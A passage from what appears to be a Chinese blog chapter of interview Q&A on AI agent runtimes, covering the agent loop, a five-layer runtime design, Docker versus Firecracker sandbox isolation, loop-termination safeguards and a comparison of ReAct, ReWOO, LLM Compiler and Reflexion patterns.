循环是因为 Agent 需要根据工具返回结果动态调整策略——单次生成无法应对"API返回错误"或"数据格式不符"等真实场景。类比：人是"边做边调整"的，不是"想完一次做完"。每轮工具调用的结果会触发下一轮推理——这就是事件驱动的本质。
Q2: Runtime 和 Agent Loop 有什么区别？一句话解释？
Loop 决定"做什么"（决策层），Runtime 决定"怎么做"（基础设施层）。
类比：Loop 是司机决定去哪，Runtime 是汽车提供引擎、导航、刹车；Sandbox 是护栏限制速度和路线。
Runtime 的五层架构：① LLM管理层（模型路由、Token管理、重试降级）；② 工具注册层（定义、校验、权限、日志）；③ 记忆管理层（短期/长期/工作记忆）；④ 执行调度层（Loop引擎、并发、超时熔断）；⑤ 可观测层（Tracing、Metrics、Logging）。
Q3: Docker 容器和 Firecracker 微虚拟机做 Sandbox 有什么区别？
Docker 共享宿主机内核——隔离在进程/文件系统层面，内核漏洞可逃逸。
Firecracker 每个沙箱运行独立内核——内核级隔离，逃逸难度极高。
代价对比：Docker 启动秒级、资源开销小；Firecracker 启动约125ms、资源开销更大。
选型原则：金融/医疗等高安全场景选 Firecracker，一般 Web 场景 Docker 够用，不想自建选 E2B/Modal 等云沙箱服务。
Q4: Agent 陷入死循环怎么解决？
三层防护：
① Loop 层：设置 max_turns 上限（如20轮），超过直接终止或降级；
② Runtime 层：熔断机制——同工具连续失败N次后降级或切换策略，设置指数退避重试；
③ Sandbox 层：超时保护——单个工具调用超过阈值（如30s）自动终止进程。
类比：① 是方向盘锁定（超圈数停车）；② 是刹车片（连续失败减速）；③ 是断油阀（超时断供）。
Q5: Loop、Runtime、Sandbox 三者的嵌套关系？各层的职责边界？
嵌套关系：Sandbox 在最外层（所有行为在约束下执行），Runtime 在中间层（提供基础设施），Agent Loop 在最内层（决策循环）。
职责边界：
① Agent 该做什么决策？→ Agent Loop（LLM 推理决定下一步行动）；
② 工具参数是否合法？→ Runtime 工具注册层（校验类型、值域、必填项）；
③ 调用是否有权限？→ Runtime 权限控制层（角色权限矩阵 + 审批机制）；
④ 代码在哪里执行？→ Sandbox（创建隔离环境、限制资源）；
⑤ 历史对话太长怎么办？→ Runtime 记忆管理层（滑动窗口压缩 + 摘要替代）。
Q6: ReAct、ReWOO、LLM Compiler、Reflexion 四种 Loop 模式的核心区别？
ReAct：推理+行动交替循环——灵活可解释，但每轮都调LLM，Token消耗大。
ReWOO：规划→执行→求解三阶段——减少LLM调用次数，但规划不可动态调整。
LLM Compiler：并行执行多个工具——效率高延迟低，但依赖之间不可并行。
Reflexion：执行后反思自我纠正——自我进化持续改进，但反思轮次可能过多。
面试要点：80%场景 ReAct 够用；需要减少 LLM 调用选 ReWOO；追求效率选 LLM Compiler；需要自我纠正选 Reflexion。
Q7: 生产环境 Agent Loop 的五大稳定性保障机制是什么？
① 上下文溢出熔断：Context 超过阈值（如 120K token）自动终止,防止 API 报错。
② 死循环检测：max_turns 上限 + 同工具连续失败上限,防止 Loop 卡死。
③ 压缩降级链：AI 摘要→规则摘要→硬截断,确保压缩始终有结果（参见 ch05 5.12.6）。
④ Checkpoint 恢复：序列化 Loop 状态,中断后可从断点恢复任务。
⑤ 心跳检测：空闲超时自动暂停,防止用户离开后 Agent 继续烧钱。
核心原则:宁可提前终止,不可带病运行。熔断是主动保护,不是失败。
第8章 Agent运行时-Loop引擎与沙箱
http://www.clxhxhhr.top/posts/711/ 评论
0 条
还没有评论，先写一条吧。